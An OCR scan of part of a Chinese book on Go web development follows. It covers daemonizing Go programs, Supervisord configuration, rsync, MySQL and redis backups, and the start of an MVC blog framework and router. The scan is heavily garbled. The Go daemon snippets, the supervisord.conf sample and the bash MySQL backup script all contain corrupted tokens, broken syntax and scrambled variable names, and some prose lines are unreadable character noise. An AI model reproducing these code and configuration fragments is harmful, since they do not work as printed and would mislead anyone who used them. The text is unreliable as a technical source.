易 混淆 ， 但 是 在 Go 语言 中 错误 和 异常 有 明显 的 区 分 ， 所 以 告诉 我 们 在 
程序 设计 中 应 该 遵循 什么 原则 处 理 错 误 和 异常 。 

















12.3 ”应 用 部 署 





程序 开发 完毕 之 后 ， 我 们 现在 要 部 署 Web 应 用 程序 ， 但 是 如 何 部 署 
这 些 应 用 程序 呢 ? 因为 Go 语言 程序 编译 之 后 是 一 个 可 执行 文件 ， 编 写 
过 C 语 言 程序 的 读者 一 定 知道 采用 daemon 就 可 以 完美 地 实现 程序 后 台 持 
续 运行 ， 但 是 目前 Go 语言 还 无 法 完美 地 实现 daemon， 因 此 ， 针 对 Go 语 
言 的 应 用 程序 部 署 ， 我 们 可 以 利用 第 三 方 工具 来 管理 ， 第 三 方 的 工具 有 
很 多 ， 例 如 Supervisord、upstart、daemontools 等 ， 笔 者 将 介绍 自己 系统 
中 采用 的 工具 Supervisord。 


daemon 


目前 Go 语言 程序 还 不 能 实现 daemon， 详 细 见 Go 语言 的 bug， 
http://code.google.com/p/go/issues/detail?id=227， 大 意 是 说 很 难 从 现 有 使 
用 的 线程 中 fork 一 个 ， 因 为 没有 一 种 简单 的 方法 来 确保 所 有 已 经 使 用 的 
线程 的 状态 一 致 性 问题 。 

但 是 我 们 可 以 看 到 网 上 一 些 实现 daemon 的 方法 ， 例 如 下 面 两 种 。 

。 MarGo 的 一 个 实现 思路 ， 使 用 Commond 来 执行 自身 的 应 用 ， 如 

















果真 想 实现 ， 那 么 推荐 这 种 方案 。 
d := flag.Bool ("d", false, "Whether or not to launch in the background (like 
a daemon) ") 
if xd 
cmd := exec.Command(os-Args [0], 
fas", 
*addr 
*call, 
1 
serr, err := omd.stderrFipe() 
if err I= nil ( 


log. Fatalin (err) 
} 

err = cmd.Start() 
nil { 





log.Fatalln (err) 





log.Printé ("un d response from Marc: ey Wa") 





cmd. Brocess.Kill() 


。 另 一 种 是 利用 syscall 的 方案 ， 但 是 这 个 方案 并 不 完善 。 


if ret > 0 ( 
os Exit (0) 
} 


/* Change the file mode mask */ 
— = syscall.Umask (0) 


// create a new SID for the child process 
sitet, s_errno := syscall,Setsid( 
if serrno ! 0 ( 
log.Print£("Error: syscall.Setsid errno: $d", s_errno! 
1 
if sret < 0 { 
return -1 


上 


if nochdir == 0 { 
os.Chdir("/") 
} 


if noclose == 0 { 
f, e := 0s.OpenFile("/dev/null", os.0_RDWR, 0) 
Lie arene 
fd := £.Fd() 
syscall.Dup2(fd, os.Stdin.Fd()) 
syscall.Dup2 (fd, os.Stdout.Fd()) 
syscall.Dup2(fd, os.Stderr.Fd()) 
i 
} 





return 0 

笔者 不 推荐 大 家 这 样 去 实现 ， 因 为 官方 还 没有 正式 宣布 支持 
daemon， 不 过 目前 来 看 ， 第 一 种 方案 比较 可 行 ， 而 且 开 源 库 skynet 也 在 
采用 这 个 方案 做 daemon。 








Supervisord 


上 面 已 经 介绍 了 目前 实现 Go 语言 daemon 的 两 种 方案 ， 但 是 官方 本 
身 还 不 支持 这 一 块 ， 所 以 还 是 建议 大 家 采用 第 三 方 成 熟 工具 来 管理 我 们 
的 应 用 程序 ， 这 里 给 大 家 介绍 一 款 目前 使 用 比较 广泛 的 进程 管理 软件 ; 
obese Supervisord 是 用 Python 实现 的 一 款 非常 实用 的 进程 管理 工 
有 具 ， 它 会 帮 读 者 把 管理 的 应 用 程序 转 成 daemon 程 序 ， 可 以 方便 地 通过 命 
令 执行 开启 、 关闭 、 重 启 等 操作 ， 而 且 一 旦 崩溃 ， 管 理 的 进程 会 自动 重 








启 ， 这 样 就 可 以 保证 程序 执行 中 断后 的 情况 下 有 自我 修复 的 功能 


注 : 笔者 曾 在 应 用 中 踩 过 一 个 坑 ， 就 是 因为 所 有 的 应 用 程序 都 是 由 
isord 父 进程 生出 来 的 ， 当 读者 修改 了 操作 系统 的 文件 描述 符 之 
: 记 重 启 Supervisord， 光 重启 下 面 的 应 用 程序 没 用 。 当 初 笔 者 就 

统 安装 好 之 后 就 先 装 了 Supervisord， 然 后 开始 部 署 程序 ， 修 改 文件 
HL, 重启 程序 ， 文件 描述 符 已 经 是 100000 个 了 ， 其 实 
Supervisord 这 个 时 候 还 是 默认 的 1024 个 ， 导 致 它 管 理 进程 中 所 有 的 描述 
符 也 是 1024 个 。 开 放 之 后 压力 一 上 来 系统 就 开始 报 文件 描述 符 用 光 了 ， 
导致 查 了 很 久 才 找到 这 个 坑 。 
















Supervisord 安 装 

Supervisord 可 以 通过 sudo easy_install supervisor 安 装 ， 当 然 也 可 以 通 
过 Supervisord 官 网 下 载 后 解压 并 转 到 源码 所 在 的 文件 夹 下 执行 setup.py 
install 来 安装 。 

e ”使 用 easy_install 必 须 安装 setuptools。 

打开 http://pypi.python.org/pypi/setuptools#files， 根 据 系 统 的 python 的 
版 本 下 载 相应 的 文件 ， 然 后 执行 sh setuptoolsxxxx.egg， 这 样 就 可 以 使 用 
easy_install 命 令 来 安装 Supervisord。 
Supervisord 配 置 
Supervisord 默 认 的 配置 文件 路 径 为 /etc/supervisord.conf， 需 要 通过 
文本 编辑 器 修改 文件 ， 下 面 是 一 个 示例 的 配置 文件 。 





7 /ete/supervisord.conf 
(unix_nttp_server) 

file = /var/run/supervisor.sock 
chmod = 0777 

chown= root: root 





[inet http server] 
+ Web 管理 界面 设 定 
port=9001 
username 
password 


admin 
yourpassword 





[supervisorctl] 
: 必须 和 "unix_http_servez* 里 面 的 设 定 匹配 


serverurl = unix: ///var/run/supervisord. sock 





[supervisord] 
logfile=/var/1og/superv: 
SCWD/supervisord. 1log) 
logfile maxbyte: 
50MB) 
logfile backups: 





rd/supervisor 





log ; (main log file;default 








OMB ; (max main logfile bytes b4 rotation;default 





+ (num of m 





logfile rotation backups;default 10) 


















loglevel=info ; (log level;default info; others: debug, warn, trace) 
pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default 
supervisord.pid) 
nodaemon=true ; {start in foreground if true;default false) 
minfds= ; (min. avail startup file descriptors:default 
1024) 
minprocs: ; (min. avail process descriptors;default 200) 
user=root ; (default is current user, required if root) 
childlogdir=/var/log/supervisord/  ('aUTO' child log dir, default 
STEME) 
[zpeinterface:=upervisor] 
supervisor.rpcinterface factory = supervisor.rpcinterfaci 





peinterface 


; 管理 的 单个 进程 的 配置 ， 可 以 

(program:blogdemon] 

connand=/data/blog/blogdemon 

autostart = true 

startsecs = 5 

user = root 

redirect 

stdout logfile = /var/log/supervisord/blogdenon.1og 

Supervisord 管 理 

Supervisord 安 装 完成 后 有 两 个 可 用 的 命令 行 supervisor 和 
supervisorctl， 命 令 使 用 解释 如 下 。 





MEA program 





stderr = true 


esupervisord， 初 始 启动 Supervisord， 启 动 、 管 理 配 置 中 设置 的 进 
© supervisorctl stop programxxx， 停 止 某 一 个 进程 
(programxxx) ，programxxx 为 [program:blogdemon] 里 配置 的 值 ， 这 个 
示例 就 是 blogdemon。 
e supervisorctl start programxxx， 启 动 某 个 进程 。 
esupervisorctl restart programxxx， 重 启 某 个 进程 。 
e supervisorctl stop all， 停 止 全 部 进程 ， 注 ，start、restart、stop 都 
不 会 载 入 最 新 的 配置 文件 。 
e supervisorctl reload， 载 入 最 新 的 配置 文件 ， 并 按 新 的 配置 启 
动 、 管 理 所 有 进程 。 


小 结 


本 节 我 们 介绍 了 Go 语言 如 何 实现 daemon 化 ， 但 是 由 于 目前 Go 语言 
的 daemon 实 现 不 足 ， 需 要 依靠 第 三 方 工具 来 实现 应 用 程序 的 daemon 管 
理 的 方式 ， 所 以 在 这 里 介绍 了 一 个 用 python 写 的 进程 管理 工具 
Supervisord， 通 过 Supervisord 可 以 很 方便 地 把 Go 语言 应 用 程序 管理 起 
来 。 








12.4 备份 和 恢复 


本 节 我 们 要 讨论 应 用 程序 管理 的 另 一 个 方面 : 生产 服务 器 上 数据 的 
备份 和 恢复 。 我 们 经 常会 遇 到 生产 服务 器 的 网 络 断 了 、 硬 盘 坏 了 、 操 作 
系统 骨 溃 、 或 者 数据 库 不 可 用 等 各 种 异常 情况 ， 所 以 维护 人 员 需 要 对 生 
产 服务 器 上 的 应 用 和 数据 做 好 异地 灾 备 ， 冷 备 热 备 的 准备 。 接 下 来 ， 我 
们 将 讲解 如 何 备份 应 用 、 如 何 备份 /恢复 Mysql 数 据 库 和 redis 数 据 库 。 


应 用 备份 


在 大 多 数 集群 环境 下 ，Web 应 用 程序 基本 不 需要 备份 ， 因 为 这 其 实 
就 是 一 个 代码 副本 ， 我 们 在 本 地 开发 环境 中 ， 或 者 版 本 控制 系统 中 已 经 
保持 这 些 代 码 。 但 是 很 多 时 候 ， 一 些 开发 的 站 点 需要 用 户 来 上 传 文件 ， 
那么 我 们 需要 对 这 些 用 户 上 传 的 文件 进行 备份 。 目 前 有 一 种 合适 的 做 法 























就 是 把 和 网 站 相关 的 需要 存储 的 文件 存储 到 云 储存 ， 这 样 即使 系统 衣 
省， 只 要 我 们 的 文件 还 在 云 存储 上 ， 至 少数 据 不 会 丢失 。 

如 果 我 们 没有 采用 云 储存 ， 如 何 做 到 网 站 的 备份 呢 ? 这 里 我 们 介绍 
一 个 文件 同步 工具 rsync: rsync 能 够 实现 网 站 的 备份 ， 不 同系 统 的 文件 
的 同步 ， 如 果 是 windows 系 统 ， 需 要 windows 版 本 cwrsync。 

rsync 安 装 

rysnc 的 官方 网 站 为 http://rsync.samba.org/， 该 网 站 提供 很 多 最 新 版 
本 的 源码 。 当 然 ， 因 为 rsync 是 一 款 非常 有 用 的 软件 ， 所 以 很 多 Linux 的 
发 行 版 本 都 将 它 收录 在 内 了 。 

软件 包 安 装 如 下 所 示 。 

# sudo apt-get install rsync ÌE: 在 debian、ubuntu 等 在 线 安装 方法 ; 

# yum install rayne ji: Fedora, Redhat, Centos 等 在 线 安装 

# rpm -ivh rsync ìt: Fedora, Redhat. Centos 等 rpm 包 安 装 方法 : 

其 他 Linux 发 行 版 ， 请 用 相应 的 软件 包 管理 方法 来 安装 。 源 码 包 安 
装 如 下 所 示 。 

Te IE Re: 

./configure --prefix-/usr ;make ;make install tk: 在 用 源码 包 编译 安装 之 前 ， 
您 得 安装 gcc 等 编译 工具 才 行 ， 

rsync 配 置 

rsync 主 要 有 以 下 三 个 配置 文件 rsyncd.conf ( 主 配置 文件 ) 、 
rsyncd.secrets (密码 文件 ) 、rsyncd.motd (rysnc 服 务 器 人 

关于 这 几 个 文件 的 配置 大 家 可 以 参考 官方 网 站 或 者 介绍 rsync 的 
网 站 ， 下 面 介 绍 如 何 开启 服务 器 端 和 客户 端 。 











@ ”服务 端 开启 

#/usr/bin/rsync --daemon er j=/etc/rsyncd/rsyncd. conf 

--daemon 参 数 方式 ， fe ikrsyncbl 服务 器 模式 运行 。 把 rsync 加 入 开机 
启动 。 

echo 'rsync --daemon' >> /etc/rc.d/rc.local 

设置 rsync 密 码 


echo “你 的 用 户 名 : 你 的 密码 ， > /etc/rsyncd.secrets 
chmod, 600 /ete/reyncd.secrets 


. z 
客户 端 可 以 通过 如 下 命令 同步 服务 器 上 的 文件 。 
rsync -avzP --delete --password-file-rsyncd.secrets 用 户 名 8192.168. 
145.5::www /var/rsync/backup 


这 条 命令 ， 简 要 说 明 要 点 如 下 。 


1. -avzB 是 喻 ， 谍 者 可 以 使 用 --help 查看 

2. 一 delete 比如 入 中 删除 了 一 个 文件 ， 同 步 的 时 眉 ，B 会 自动 删除 相对 应 的 文件 

3. --password-file 客户 端 中 /etc/rsyncd.secrets 设 恬 的 密码 ， 要 和 服务 端的 
/etc/rsyncd.secrets 中 的 密码 一 样 ， 这 样 cron 运行 的 时 候 ， 就 不 需要 密码 了 

4 .这 条 命令 中 的 "用 户 名 "为 服务 端 /etc/rsyncd. secrets 中 的 用 户 名 

5. 这 条 命令 中 的 192 .168.0.100 为 服务 端的 IP 地 址 

5，: :www， 注 意 是 2 个 : 号 ，www 为 服务 端的 配置 文件 /etc/rsyncd.conf HH [www], 
意思 是 根据 服务 端 上 的 /etc/rsyncd.conf 来 同步 其 中 的 [www] 段 内 容 ， 一 个 : 号 的 时 候 , 用 于 不 
根据 配置 文件 ， 直 接 同 步 指定 目录 





为 了 同步 实时 性， 可 以 设置 =rontab， 保 持 rsync 每 分 钟 同步 ， 当 然 用 户 也 可 以 根据 文件 的 重 
要 程度 设置 不 同 的 同步 频率 。 


MySQL 备 份 


MySQL 是 应 用 数据 库 的 主流 ， 目 前 MySQL 的 备份 有 两 种 方式 : 热 
备份 和 冷 备 份 ， 热 备份 目前 主要 是 采用 master/slave 方 式 〔〈 目 前 
master/slave 方 式 的 同步 主要 用 于 数据 库 读 写 分 离 ， 也 可 以 用 于 热 备份 数 
据 ) ， 关 于 如 何 配置 这 方面 的 资料 ， 大 家 可 以 找到 很 多 。 冷 备份 就 是 数 
据 有 一 定 的 延迟 ， 但 是 可 以 保证 该 时 间 段 之 前 的 数据 完整 ， 例 如 可 能 我 
们 的 误 操作 引起 了 数据 的 丢失 ， 那 么 master/slave 模 式 无 法 找 回 丢失 数 
据 ， 但 是 通过 冷 备 份 可 以 部 分 恢复 数据 。 

冷 备份 一 般 使 用 shell 脚 本 来 实现 定时 备份 数据 库 ， 然 后 通过 上 面 介 
绍 rsync 同 步 一 台 非 本 地 机 房 的 服务 器 。 

下 面 是 定时 备份 mysql 的 备份 脚本 ， 我 们 使 用 了 mysqldump 程 序 ， 这 
个 命令 可 以 把 数据 库 导出 到 一 个 文件 中 。 


#!/bin/bash 


# 以 下 配置 信息 请 自己 修改 

nysql_user="USER"#MysQz 备份 用 户 

mysql password="PASSWORD" #MysqL 备份 用 户 的 密码 

mysql hosi localhost" 

mysql port="3306" 

mysql_charset—"utte" #mysor 编码 

backup_db_arr=("dbi" "db2") # 要 备份 的 数据 库 名 称 ， 多 个 用 空格 分 开 隔 开 Miao" 
"abo" "db3") 

backup_location=/var/www/myscl 备份 数据 存放 位 置 , 末尾 请 不 要 带 "/", 此 项 可 以 保 
持 默 认 ， 程 序 会 自动 创建 文件 夹 

expire_backup_delete="ON"# 是 耕 开 启 过 期 备份 刷 除 oN 为 开启 OFF 为 关闭 

sxpire_days=3 #4 过 期 时 间 夫 数 默认 为 三 大， 此 项 只 有 在 expire_backup_delete 开启 时 
有 效 
























t 以 下 不 需要 修改 
packup_time~date rsYimsasks4 # 定 义 备份 详细 时 间 

backup ymd- "date +3Y-tm-sd”# 定 义 备份 目录 中 的 年 月 日 时 间 
backup_3agqo- date -a '3 days ago’ syed” +3 天 之 前 的 日 期 
backup dir-sbackup location/sbaciup yma +E ether 
welcome msg="Welcome to use MySQL backup tools!" # 欢 迎 语 











# 判断 MYs&L 是 否 启动 ,mysql 没有 局 动 则 备份 退出 








mysql ps='ps -ef |grep mysql |wc -1° 
mysql_listen= netstat -an |grep LISTEN |grep smysgl_port|wo -1° 
if [ [smysql ps == 0] -o [$mysql listen == 0] ]; then 

echo "BRROR:MYSQL is not running! backup stop!" 

exit 
else 

echo $welcome msg 
fi 


t 连接 到 mysql 数据 库 ， 无 法 连接 则 备份 退出 

mysql -h$mysql_host -P$mysql_port -ugmysql user -p$mysql_password <cend 
use mysql; 

select host,user from user where user="root' and host=" localhost’; 
exit 

end 





flag=`echo $? 








if [ $flag o" J]; then 
echo "ERROR:Can't connect mysql server! backup stop!" 
exit 

else 


echo "MySQL connect ok! Please wait " 
# 判断 有 没有 定义 备份 的 数据 库 ， 如 果 定义 则 开始 备份 ， 否 则 退出 备份 
if [ "Sbackup db arr" != "" ];then 

#dbnames=$ (cut -d ',' -£1-5 Sbackup database) 
"arr is (s{backup db arr[@]])" 
name in $(backup_db arr[@]} 














echo “database $dbname backup start..." 

“mkdir -p Sbackup dir 

‘mysqldump -h$mysql_host -Psmysql_port -usmysql_ 
user -p§mysql password $dbname --default-character-set-Smysgl charset | gzip 
> Sbackup dir/sdbname-sbackup time.sql.gz* 
echo $?° 

if [ $flag == "0" J;then 

echo "database Sdbname success backup to Sbac 

kup dir/Sdbname-Sbackup time.sql.gz" 














else 
echo "database sdbname backup fail!" 
fi 

done 

else 
echo o database to backup! backup stop" 
exit 

fi 


# 如 果 开启 了 删除 过 期 备份 ， 则 进行 删除 操作 


i£ [ "Sexpire backup delete” == "ON" -i 





"Sbackup_location™ !="* ]; 
then 





#*find Sbackup location/ -type d -o -type f -ctime +Sexpire 
days -exec m -rf {} \;~ 
“find $backup location/ -type d -mtime +Sexpire days | xargs 


rm -rf` 
echo "Expired backup data delete complete! 
fi 
echo "All database backup success! Thank you!" 
exit 


ti 
修改 shell 脚 本 的 属性 。 

chmod 600 /root/mysql_backup.sh 
chmod +x /root /mysql_backup.sh 


设置 好 属性 之 后 ， 把 命令 加 入 crontab， 我 们 设置 了 每 天 00:00 定 时 
Py 备份 ， 然 后 把 备份 的 脚本 目录 /var/www/mysql 设 置 为 rsync 同 步 目 


00 00 * * + /root/mysql_backup.sh 
MySQL }K E 


前 面 介 绍 MySQL 备 份 分 为 热 备 份 和 冷 备 份 ， 热 备份 主要 目的 是 为 
了 能 够 实时 恢复 ， 例 如 应 用 服务 器 出 现 了 硬盘 故障 ， 那 么 我 们 可 以 通过 
AE E EAEE TEREA Rave: 这 样 就 可 以 尽量 少时 间 

但 是 有 时 候 我 们 需要 通过 冷 备份 的 SQL 来 进行 数据 恢复 ， 既 然 有 了 
数据 库 的 备份 ， 就 可 以 通过 命令 导入 。 

mysql -u username -p databse < backup. sql 

可 以 看 到 ， 导 出 和 导入 数据 库 数据 都 非常 简单 ， 不 过 如 果 还 需要 管 
理 权限 ， 或 者 设置 其 他 的 字符 集 ， 可 能 会 稍微 复杂 一 些 ， 但 是 这 些 都 是 
可 以 通过 一 些 命令 来 完成 的 。 


redis 备 份 


redis 是 我 们 目前 使 用 最 多 的 NoSQL， 它 的 备份 也 分 为 两 种 : 热 备份 
和 冷 备份 ，redis 也 支持 master/slave 模 式 ， 所 以 我 们 的 热 备份 可 以 通过 这 
种 方式 实现 ， 相 应 的 配置 大 家 可 以 参考 官方 的 文档 配置 ， 非 常 简 单 。 我 
们 这 里 介绍 冷 备份 的 方式 ，redis 会 定时 把 内 存 里 的 缓存 数据 保存 到 数据 
库 文件 里 面 ， 我 们 只 要 备份 相应 的 文件 就 可 以 ， 就 是 利用 前 面 介绍 的 
rsync 备 份 到 非 本 地 机 房 。 


redis 恢 复 


redis 的 恢复 分 为 热 备 份 恢复 和 冷 备 份 恢复 ， 热 备份 恢复 的 目的 和 方 
法 同 MySQL 的 恢复 一 样 ， 只 要 修改 应 用 相应 的 数据 库 连接 即 可 。 

但 是 有 时 候 我 们 需要 根据 冷 备份 来 恢复 数据 ，redis 的 冷 备份 恢复 只 
要 把 保存 的 数据 库 文件 copy 到 redis 的 工作 目录 ， 然 后 启动 redis 就 可 以 ， 
redis 在 启动 的 时 候 会 自动 加 载 数据 库 文件 到 内 存 中 ， 启 动 的 速度 根据 数 
据 库 的 文件 大 小 来 决定 。 


小 结 


本 节 介绍 了 应 用 部 分 的 备份 和 恢复 ， 即 如 何 做 好 灾 备 ， 包 括 文件 和 
数据 库 的 备份 。 同 时 也 介绍 了 使 用 rsync 同 步 不 同系 统 的 文件 ，MySQL 
数据 库 和 redis 数 据 库 的 备份 和 恢复 ， 希 望 本 节 的 介绍 ， 能 够 给 从 事 开发 
的 读者 朋友 对 于 线 上 产品 的 灾 备 方案 提供 一 个 参考 方案 。 


12.5 总 结 


本 章 讨论 了 如 何 部 署 和 维护 我 们 开发 Web 应 用 相关 的 一 些 话题 。 这 
些 内 容 非 常 重 要 ， 要 创建 一 个 能 够 基于 最 小 维护 平滑 运行 的 应 用 ， 必 须 
考虑 这 些 问题 。 

具体 而 言 ， 本 章 讨 论 的 内 容 包括 。 

。 创建 一 个 强健 的 日 志 系统 ， 可 以 在 出 现 问 题 时 记录 错误 并 且 通 
知 系统 管理 员 。 

o ”处 理 运行 时 可 能 出 现 的 错误 ， 包 括 记录 日 志 ， 并 如 何 友好 地 显 
示 所 出 现 的 问题 给 用 户 系统 。 

o 处 理 404 错 误 ， 告 诉 用 户 请 求 的 页 面 找 不 到 。 

。 将 应 用 部 署 到 一 个 生产 环境 中 〔 包 括 如 何 部 署 更 新 )。 

e 如何 让 部 署 的 应 用 程序 具有 高 可 用 。 

o 备份 和 恢复 文件 以 及 数据 库 。 

读 完 本 章 内 容 后 ， 读 者 朋友 对 于 从 头 开始 开 发 一 个 Web 应 用 需要 考 
虑 哪些 问题 应 该 已 经 有 了 全 面 的 了 解 。 本 章 内 容 将 有 助 于 实际 环境 中 管 
理 前 面 各 章 介 绍 开发 的 代码 。 


第 13 章 ”如 何 设计 一 个 Web 框 染 


前 面 12 章 介绍 了 如 何 通 过 Go 语言 开发 Web 应 用 ， 介 绍 了 很 多 基础 知 
识 、 开 发 工具 和 开发 技巧 ， 本 章 将 通过 这 些 知识 来 实现 一 个 简易 的 Web 
框架 。 通 过 Go 语言 来 实现 一 个 完整 的 框架 设计 ， 第 13.1 节 介绍 Web 框 架 
的 结构 规划 ， 例 如 采用 MVC 模 式 来 进行 开发 ， 程 序 的 执行 流程 设计 等 
内 容 ， 第 13.2 节 介绍 框架 的 第 一 个 功能 ， 路由， 如 何 让 访问 的 URL 映 射 
到 相应 的 处 理 逻辑 ， 第 13.3 节 介绍 如 何 构建 一 些 辅助 功能 框架 ,例如 日 
志 处 理 、 配 置信 息 等 ， 第 13.4 节 介绍 如 何 基于 Web 框 架 实现 一 个 博客 ， 
包括 博文 的 发 表 、 修 改 、 删 除 、 显 示 列表 等 操作 。 

通过 这 个 完整 的 项 目 案 例 ， 笔 者 期 望 能 够 让 读者 了 解 如 何 开发 Web 
应 用 ， 如 何 搭建 自己 的 目录 结构 ， 如 何 实现 路 由 ， 如 何 实现 MVC 模 式 
等 各 方面 的 开发 内 容 。 在 框架 盛行 的 今天 ，MVC 也 不 再 是 神话 。 经 党 
听 到 很 多 程序 员 讨论 哪个 框架 好 ， 哪 个 框架 不 好 ， 其 实 框架 只 是 工具 ， 
没有 好 与 不 好 ， 只 有 适合 与 不 适合 ， 适 合 自己 的 就 是 最 好 的 ， 所 以 教会 
大 家 自己 动手 写 框架 ， 不 同 的 需求 都 可 以 用 自己 的 思路 去 实现 。 


13.1 项 目 规划 


做 任何 事情 都 需要 做 好 规划 ， 我 们 在 开发 博客 系统 之 前 ， 同 样 需 要 
做 好 项 目的 规划 ， 如 何 设置 目录 结构 ， 如 何 理解 整个 项 目的 流程 图 ， 当 
我 们 理解 了 应 用 的 执行 过 程 ， 接 下 来 的 设计 编码 就 会 变 得 相对 容易 。 


gopath 以 及 项 目 设置 


假设 指定 gopath 是 文件 系统 的 普通 目录 名 ， 当 然 我 们 可 以 随便 设置 
一 个 目录 名 ， 然 后 将 其 路 径 存 入 GOPATH。 前 面 介绍 过 GOPATH 可 以 是 
多 个 目录 : 在 window 系 统 设置 环境 变量 ， 在 Linux/MacOS 系 统 只 要 输入 
终端 命令 export gopath=/home/astaxie/gopath， 但 是 必须 保证 gopath 这 个 
代码 目录 下 面 有 三 个 目录 pkg、bin、src。 新 建 项 目的 源码 放 在 src 目 录 下 
面 ， 暂 定 我 们 的 博客 目录 叫做 beeblog， 下 面 是 在 window 下 的 环境 变量 
和 目录 结构 的 截图 。 

















an | 计算 机 名 | 硬件 
环境 变量 


xiemengjun 的 用 户 变量 U) 


变量 a 

PATH. C:\Progran Files\OpenvPM\bin 
SSHAGENT_FID 6060 

SSHAUTH SOCK /tmp/ssh-jNPZLJ3424/ agent. 3424 
TEMP C:\Documents and Settings xiene 
me C:\Documents and Settings\xiene 
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图 13.1 环境 变量 GOPATH 设 置 
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文件 和 文件 夹 任务 
图 13.2 工作 目录 在 $gopath/src 下 

















应 用 程序 流程 图 


博客 系统 基于 模型 -视图 -控制 器 这 一 设计 模式 。MVC 是 一 种 将 应 用 
程序 的 逻辑 层 和 表现 层 进行 分 离 的 结构 方式 。 在 实践 中 ， 由 于 表现 层 从 














Go 语言 中 分 离 ， 所 以 它 允许 网 页 中 只 包含 很 少 的 脚本 。 

o HA (Model) 代表 数据 结构 。 通 常 来 说 ， 模 型 类 将 包含 取 
出 、 插 入 、 更 新 数据 库 资 料 等 功能 。 

o 视图 View) 是 展示 给 用 户 的 信息 结构 及 样式 。 一 个 视图 通常 
是 一 个 网 页 ， 但 是 在 Go 语言 中 ， 一 个 视图 也 可 以 是 一 个 页 面 片段 ， 如 
页 头 、 页 尾 。 它 还 可 以 是 一 个 RSS 页 面 ， 或 其 他 类 型 的 “页 面 "，Go 语 言 
实现 的 template 包 已 经 很 好 地 实现 了 View 层 中 的 部 分 功能 。 

o 控制 器 (Controller) 是 模型 、 视 图 以 及 其 他 任何 处 理 HTTP 请 
求 所 需要 的 资源 之 间 的 中 介 ， 并 生成 网 页 

图 13.3 显 示 了 项 目 设计 中 框架 的 数据 流 如 何 贯穿 整个 系统 。 


| 

















图 13.3 框架 的 数据 流 


1，main.go 作 为 应 用 入 口 ， 初 始 化 一 些 运行 博客 所 需要 的 基本 资 
源 ， REME 监听 端口 。 
路 由 功能 检查 HTTP 请 求 ， 根 据 URL 以 及 method 来 确定 谁 〈 控 制 
层 ) SUR SE RHEE RUR 
3. 如果 缓 存 文 件 存在 ， 它 将 绕 过 通常 的 流程 执行 ， 直 接 被 发 送 给 


浏览 器 。 

4. 安全 检测 : 应 用 程序 控制 器 调用 之 前 ，HTTP 请 求 和 任 一 用 户 提 
交 的 数据 将 被 过 滤 。 

5. 控制 器 装载 模型 、 核 心 库 、 辅 助 函数 ， 以 及 任何 处 理 特定 请 求 
所 需 的 其 他 资源 ， 控 制 器 主要 负责 处 理 业 务 罗 辑 。 

6. 输出 视图 层 中 渲染 好 的 即将 发 送 到 Web 浏 览 器 中 的 内 容 。 如 果 
开启 缓存 ， 视 图 首先 被 缓存 ， 将 用 于 以 后 的 常规 请 求 。 


目录 结构 











根据 上 面 的 应 用 程序 流程 设计 ， 博 客 的 目录 结构 设计 如 下 所 示 。 


(stir 入 口 文件 

1 一 conf 配置 文件 和 处理 模 块 

1 一 controllers 控制 器 入 口 

|—modeis 数据 库 处 理 模 抉 

1 一 utils 辅助 函数 库 

1 一 static 静态 文件 日 录 

1 一 views 视图 库 
框架 设计 


为 了 实现 博客 的 快速 搭建 ， 打 算 基 于 上 面 的 流程 设计 开发 一 个 最 小 
化 的 框架 ， 框 架 包 括 路 由 功能 、 支 持 REST 的 控制 器 、 自 动 化 的 模板 泻 
染 ， 日 志 系 统 、 配 置 管理 等 。 


小 结 
本 节 介绍 了 博客 系统 从 设置 GOPATH 到 目录 建立 这 样 的 基础 信息 
也 简单 介绍 了 框架 结构 采用 的 MVC 模 式 ， 博 客 系统 中 数据 流 的 执行 流 


程 ， 最 后 通过 这 些 流程 设计 了 博客 系统 的 目录 结构 ， 至 此 ， 我 们 基本 完 
成 一 个 框架 的 搭建 ， 接 下 来 的 几 节 内 容 将 会 逐个 实现 。 


13.2 自 定 义 路 由 器 设计 


HTTP 路 















































HTTP 路 由 组 件 负责 将 HTTP 请 求 交 到 对 应 的 函数 处 理 (或 者 是 一 个 
struct 的 方法 ) ， 如 前 面 所 描述 的 结构 图 ， 路 由 在 框架 中 相当 于 一 个 事 
件 处 理 器 ， 这 个 事件 包括 : 

o ”用 户 请 求 的 路 径 《path) 例如 /user/123、/article/123) ， 当 然 
还 有 查询 串 信息 (例如 ?id=11》。 

© HTTP 的 请 求 方法 (method) (GET, POST, PUT, DELETE, 
PATCH 等 ) 。 路 由 器 就 是 根据 用 户 请 求 的 事件 信息 转发 到 相应 的 处 理 
函数 (控制 层 )。 








默认 的 路 由 实现 


第 3.4 节 介绍 了 Go 语言 http 包 的 详解 ， 还 介绍 了 Go 语言 的 http 包 如 何 
设计 和 实现 路 由 ， 这 里 继续 用 一 个 例子 来 说 明 。 
func focHandler (w http.ResponseWriter, r *http.Request) { 
e a a 
} 











http.Handle("/foo", fooHandler) 


http.HandleFune ("/bar", func (w http.Responselriter, r *http.Request) { 
fmt.Eprint£(w, "Hello, %q", html.EscapeString(r.URL.Path) } 
D 


log.Fatal (http.ListenAndserve (":8080", nil) 


TARER P hup tA fe) DefaultServeMux KRIK i, 需要 提 
供 两 个 参数 ， 第 一 个 参数 是 希望 用 户 访问 此 资源 的 URL 路 径 〈 保 存在 
r.URL.Path) ， 第 二 参数 是 即将 执行 的 函数 ， 以 提供 用 户 访问 的 资源 。 
路 由 的 思路 主要 集中 在 两 点 。 





认 ， 通过 函 函数 http.Handle 和 http.HandleFunc 等 来 添加 路 由 
信息 ， 底 层 都 是 调用 了 DefaultServeMux.Handle (pattern string, handler 
Handler) ， 这 个 函数 会 把 路 由 信息 存储 在 一 个 map 信 息 中 
map[string]muxEntry。 

。 根据 用 户 请 求 转发 到 要 执行 的 函数 。 

Go 语言 监听 端口 ， 然 后 接收 到 tcp 连 接 会 扔 给 Handler 来 处 理 ， 上 面 
的 例子 默认 nil 即 为 http.DefaultServeMux， 通 过 
DefaultServeMux.ServeHTTP 函 数 来 进行 调度 ， 遍 历 之 前 存储 的 map 路 由 
信息 ， 和 用 户 访问 的 URL 进 行 匹 配 ， 以 查询 对 应 注册 的 处 理 函 数 。 


for k, v := range mux.m { 
if !pathMatch(k, path) { 
continue 
} 
if h == nil || len(k) > n{ 
n = len(k) 
h = v.h 


) 
} 


beego 框 架 路 由 实现 




















目前 几乎 所 有 的 Web 应 用 路 由 实现 都 是 基于 http 默 认 的 路 由 器 ， 但 
是 Go 语言 PEER hy eek Me 

e 不 支持 参数 设 定 ， 例 如 /user/:uid 这 种 泛 类 型 匹配 。 

o 无 法 很 好 地 支持 REST 模 式 ， 无 法 限制 访问 的 方法 ， 例 如 用 户 访 
